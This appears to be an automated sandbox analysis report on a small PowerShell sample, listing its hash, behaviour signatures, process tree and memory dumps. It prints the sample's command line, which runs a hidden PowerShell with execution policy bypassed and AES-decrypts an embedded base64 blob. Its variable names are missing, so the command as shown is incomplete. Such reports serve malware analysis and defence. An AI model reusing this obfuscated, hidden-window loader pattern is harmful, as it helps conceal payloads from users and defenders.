Analysis
- max time kernel
149s - max time network
94s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
31/03/2026, 12:36
General
- Target ps.ps1
- Size 1KB
- Sample260331-ps33msdt8w
- SHA256 f0bbd23816b9c7bee8f3237d2d32e69121048fb6a32cef43a9288786ab982a24
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\ps.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "=[byte[]]@(80,216,102,250,62,251,39,246,108,162,239,136,115,225,61,20);=[byte[]]@(67,109,234,114,193,236,230,100,107,51,74,239,161,187,83,223);=[Convert]::FromBase64String('NoNsbN1nCx3wginTBd/LmGJgaH+72QuRjGA8bgDIkOujJc8MuI00+UjkLw7SyO+cxte3iTk09purrD6SzES1Q5L/q3nTZiJXsRkXcuj0ZDbeqg6lxWTSefQULDCCNufP1O7I7NXpFz2Yu4TjFQY8xYdUB6PUrSHUJICQ1S8G2lcr0Y4osRnyz3N7Zm477PzlqMTAF+1Vl1/4RyFBIj+knS/tEvkBg28LEzcWhwunqWWpfqnYLb6L3BHrewe/2/HqzZ2c5Q+n5lTm5bgISSQDR55UZ8JTrK7EQeGGX2mXey7orAVv9tyi7SnIWKn0pJaeqCfsmYht4+rtvGR2K7bACF26jFL7U/npaQJbd1IQUFASdg01swQl3YnGKf2kfR57MCyDqz6AlHnJXnc3Hci8LSJn4RNePYBcZDRgDKypKlpjYbc4FtWbnLt9xsBYw9fhn5yYsFOcL/QDxdNeCBHHDmeotiHcsls0zfLHKR/biKfdXQw6zVRhOpKTjtFcncICVIH+eIaSBUjY1ZD8UL8D8X/s73eBoEXi8GjAMCfwWtA9JNg7Q8IWFzx7+5KXXcR1PcbF9rFEyne1w8LIPmc70GRD8gHR3xS4rScWb85IIWhhoqsPUbfhyYYNc3t1OiIuq3lg3vGhtTiN8PoxjHvXy9k8xx5wqRtcEzyVg65qREWukCEGgf+nzhzGlgmBn/dglnTo6cjfSgdn5m2kqcTJXfhbi6jCTqhoCt+jlJNeq6Q=');=New-Object Security.Cryptography.AesCryptoServiceProvider;.Key=;.IV=;.Mode='CBC';.Padding='PKCS7';=.CreateDecryptor();=.TransformFinalBlock(,0,.Length);[Console]::OutputEncoding=[Text.Encoding]::UTF8;Write-Host ([Text.Encoding]::UTF8.GetString());"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
PowerShell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_lvsfnxqw.nly.ps1
memory/2668-21-0x00000125AAB30000-0x00000125AAB3C000-memory.dmp
memory/2668-9-0x00000125C48C0000-0x00000125C48D0000-memory.dmp
memory/2668-10-0x00000125C48C0000-0x00000125C48D0000-memory.dmp
memory/2668-17-0x00000125C48C0000-0x00000125C48D0000-memory.dmp
memory/2668-18-0x00000125C48C0000-0x00000125C48D0000-memory.dmp
memory/2668-22-0x00000125AC500000-0x00000125AC512000-memory.dmp
memory/4748-0-0x000002B5DACD0000-0x000002B5DACE0000-memory.dmp
memory/4748-8-0x000002B5DACD0000-0x000002B5DACE0000-memory.dmp
memory/4748-7-0x000002B5DAC60000-0x000002B5DAC82000-memory.dmp
memory/4748-26-0x000002B5C2550000-0x000002B5C255C000-memory.dmp
memory/4748-27-0x000002B5C25F0000-0x000002B5C2602000-memory.dmp